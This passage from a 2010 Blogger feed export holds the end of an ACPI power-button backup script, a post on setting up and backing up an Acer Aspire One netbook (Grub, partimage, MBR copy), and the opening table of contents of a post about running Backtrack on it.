/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cd $MNT_DIR&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Backup starting"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $BK_CMD&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cd /&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $UMOUNT_CMD&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Backup ended, $USB_DEV unmounted"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "No usb drive located at $USB_DEV"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;}&lt;br /&gt;# end function declaration&lt;br /&gt;# begin of main code&lt;br /&gt;# If powersaved is running, let it process the acpi event&lt;br /&gt;if pidof powersaved; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit 0&lt;br /&gt;fi&lt;br /&gt;if [ ! -e $POWEROFF_LOCK ]&lt;br /&gt;then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Presseed 1 time"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "pressed_once" &amp;gt; $POWEROFF_LOCK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sleep 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -f $POWEROFF_LOCK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &amp;amp;&lt;br /&gt;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; case `cat $POWEROFF_LOCK` in&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pressed_once)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Pressed 2 times"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "pressed_twice" &amp;gt; $POWEROFF_LOCK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sleep 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  #if the user pressed the button 3 times we are in poweroff mode&amp;nbsp; and we  will skip doing the backup&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if [ "`cat $POWEROFF_LOCK`" != "pressed_trice" ]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; do_backup&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -f $POWEROFF_LOCK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pressed_twice)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "Pressed 3 times"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "pressed_trice" &amp;gt; $POWEROFF_LOCK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; logger "Reboting system because of button press"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ps -Af | grep -q '[k]desktop' &amp;amp;&amp;amp; test -f /usr/bin/dcop&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dcop --all-sessions --all-users ksmserver ksmserver logout 0 2 0 &amp;amp;&amp;amp; exit 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -f $POWEROFF_LOCK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /sbin/reboot&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -f $POWEROFF_LOCK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fi&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esac&lt;br /&gt;fi&lt;br /&gt;}}}&lt;/blockquote&gt;I know trice does not exists...who cares!&lt;br /&gt;== Links ==&lt;br /&gt;&lt;ul&gt;&lt;li&gt;http://www.mail-archive.com/lug-list@lugmen.org.ar/msg00586.html&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-8792137523857375136?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/8792137523857375136/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/acpi-power-button.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/8792137523857375136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/8792137523857375136'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/acpi-power-button.html' title='ACPI Power Button'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-7412258362235109890</id><published>2010-11-27T21:35:00.000-05:00</published><updated>2010-11-27T21:35:49.220-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='AspireOne 110A'/><title type='text'>A110 Aspire One first experiences</title><content type='html'>&lt;span style="font-size: large;"&gt;Introduction&lt;/span&gt;&lt;br /&gt;Hello to everyone! in this post I will cover stuff I find interesting about the net book that Santa Claus has brought me for this Christmas because he knows I have been a very decent guy during this year ;-)&lt;br /&gt;&lt;br /&gt;The version I have had the following stuff inside:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;* 1 GB RAM&lt;br /&gt;&amp;nbsp;* 160 GB hard drive (no SSD type).&lt;br /&gt;&amp;nbsp;* Linux Linpus (a fedora style one)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;General impressions&lt;/span&gt; &lt;br /&gt;Before purchasing this tinny laptop I did some research and was hesitating whether buying the Acer's one&amp;nbsp; or the &lt;a href="http://www.samsung.com/us/consumer/detail/detail.do?group=computersperipherals&amp;amp;type=mobilecomputing&amp;amp;subtype=netbook&amp;amp;model_cd=NP-NC10-KA02US"&gt;Samsung NC10&lt;/a&gt; netbook.&lt;br /&gt;&lt;br /&gt;Finally I decided to buy the Aspire One basically because of the price but I would recommend people to wait for a version of Aspire One containing a long lasting battery or buy the Samsungs one as it comes with a 6 cell battery, wireless,bluetooth, bigger screen, etc,etc. Samsungs NC10 costs about 100€ more but as It includes a bigger battery and other details I guess It's worth the price. Apart from this, this is what I think about my netbook:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The price is really attractive, even more the less powerful versions: those ones with solid state disk and 512 MB of RAM. Some people are already hacking the Aspire One to http://tnkgrl.wordpress.com/2008/08/14/modding-the-acer-aspire-one-bluetooth/ upgrade RAM or use normal IDE disks.&lt;/li&gt;&lt;li&gt;The keyboard has a decent size so that I can type without problems, I tried some Asus models and the key buttons were too small for me.&lt;/li&gt;&lt;li&gt;The linux included has all the basic stuff anyone would need (instant communications client, Open Office, web browser) and you can install all things like Skype or The Gimp without any problem.&lt;/li&gt;&lt;li&gt;The fan is a bit noisy sometimes but there are many hints on the internet about how to solve this.&lt;/li&gt;&lt;li&gt;Definitely the thing I dislike is the battery duration, being a 3 cell battery you get an average usage time of 2 hours, as soon as they sell 6 cells batteries with an reasonable price I'll buy one myself.&lt;/li&gt;&lt;li&gt;The design of the notebook is very nice and doesn't look as "cheap-plastic" made like the first Eee-pcs.For the wireless auditors this machine comes with an Atheros AR5006EG that supports monitor mode in Linpus linux, injection mode is also supported but you would need to recompile the wireless module or use something like a Backtrack live CD/live USB.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size: large;"&gt;Problems and Solutions&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Grub doesn't let me choose what OS to load&lt;/b&gt;&lt;br /&gt;The stupid Aspire One's default Grub didn't let me choose among the OS's I defined in the /boot/grub/grub.conf.&lt;br /&gt;&lt;br /&gt;Everybody says RTFM so I did so and there you read to never use grub-install script and better do it through the grub shell. Well root and setup commands aren't enough to fix the boot problem.&lt;br /&gt;&lt;br /&gt;I backed up my mbr first and then issued &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;grub-install /dev/sda&lt;/blockquote&gt;&lt;br /&gt;Then I got the normal desired grub behaviour.&lt;br /&gt;&lt;br /&gt;I feel the default Grub installed in the netbook is a trimmed one that doesn't have the so called grub stages and therefore Grub behaves strangely because of this.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Divx movies aren't played&lt;/b&gt;&lt;br /&gt;In my case mplayer (the media player installed) couldn't handle this type of media files. I had to manually update the player as they weren't any Acer update to do so. As I forgot the steps needed I just point you to this web site http://aspireonelinux.blogspot.com/2008/07/get-mplayer-to-play-your-favorite-video.html&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How can I backup linpus?&lt;/b&gt;&lt;br /&gt;Acer offers you a dvd that you can use to create a healing boot usb to restore your system to the original state, something not very desirable in case you did important changes to the system you wouldn't like to miss. &lt;br /&gt;&lt;br /&gt;In order do a backup of the system I used the versatile program partimage included in System Rescue CD. The advantage of this software is that it gets a full snapshot of your system similarly to what Norton Ghost does. The process is essentially the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Create a System Rescue USB drive. http://www.sysresccd.org/Sysresccd-manual-en_How_to_install_SystemRescueCd_on_an_USB-stick&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Boot you aspire one and select you want to start the system from the USB and after a few minutes you will be facing the prompt screen of Sysrescue.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Now its time to issue partimage command in order to backup the drive where linpus is installed:&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;partimage -z1 -d -b save /dev/sda1 sda1_backup&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;I would suggest to backup your Master Boot Record as well, this can be achieve by using&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;dd if=/dev/sda of=mbr.bin&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;The backup process would be finished. Now in case you need to restore the image you previously created following this steps you need to boot with the sysrescue usb again and execute the command.&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;partimage -z1 -f3 -b restore /dev/sda1 sda1_backup.000&lt;/blockquote&gt;Note, its possible the partimage will warn you about the /dev/sda1 partition not being correct, just ignore this warning. The trailing 000 in the restoration command is because partimage will split files.&lt;b&gt;&lt;br /&gt;&lt;br /&gt;How can I update bios?&lt;/b&gt;&lt;br /&gt;BIOS updates allow you to have the Aspire Ones fan less noisy, the latest one (by the time of this writing is v3309) comes with a gui that is executable by a Windows XP/BartPE. Thus you don't necessarily have to format your pendrive with freedos as many howtos say. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Aspire One related links&lt;/b&gt; &lt;br /&gt;&lt;ul&gt;&lt;li&gt;aspireonelinux.blogspot.com/&lt;/li&gt;&lt;li&gt;https://help.ubuntu.com/community/AspireOne&lt;/li&gt;&lt;li&gt;http://jorge.ulver.no/2008/08/06/acer-aspire-one-tips-and-tricks/&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-7412258362235109890?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/7412258362235109890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/a110-aspire-one-first-experiences.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/7412258362235109890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/7412258362235109890'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/a110-aspire-one-first-experiences.html' title='A110 Aspire One first experiences'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-8122771900756520254</id><published>2010-11-27T21:33:00.002-05:00</published><updated>2011-01-23T01:30:12.567-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='aspire1'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='atheros'/><category scheme='http://www.blogger.com/atom/ns#' term='backtrack'/><title type='text'>Backtrack 3/4 on Acer Aspire One</title><content type='html'>&lt;h1 id="Backtrack3.2BAC8-4onAcerAspireOne"&gt;&lt;/h1&gt;&lt;span class="anchor" id="line-2"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Introduction"&gt;Introduction&lt;/h2&gt;&lt;span class="anchor" id="line-3"&gt;&lt;/span&gt;After getting  my netbook what to do next? Hmmm maybe taking advance of its great  Atheros card to "play" for a while?? alright!! In this post I will write  tips and tricks and howtos to take advance of the Backtrack security  distro &lt;a class="http" href="http://www.remote-exploit.org/backtrack.html"&gt;http://www.remote-exploit.org/backtrack.html&lt;/a&gt; for fun.&lt;br /&gt;&lt;br /&gt;&lt;div class="line862"&gt;After getting my netbook what to do next? Hmmm maybe  taking advance of its great Atheros card to "play" for a while??  alright!! In this post I will write tips and tricks and howtos to take  advance of the Backtrack security distro &lt;a class="http" href="http://www.remote-exploit.org/backtrack.html"&gt;http://www.remote-exploit.org/backtrack.html&lt;/a&gt; for fun. &lt;span class="anchor" id="line-4"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="table-of-contents"&gt;&lt;div class="table-of-contents-heading"&gt;Contents&lt;/div&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Backtrack3.2BAC8-4onAcerAspireOne"&gt;Backtrack 3/4 on Acer Aspire One&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Introduction"&gt;Introduction&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#InstallationonaHardDrive"&gt;Installation on a Hard Drive&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#InstallingNessus"&gt;Installing Nessus&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#PlayingwithWireless"&gt;Playing with Wireless&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Firststeps"&gt;First steps&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Startingkismet"&gt;Starting kismet&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/BacktrackonAspireOnePost#Createanewinterfacewithmonitormodeenabled"&gt;Create a new interface with monitor mode 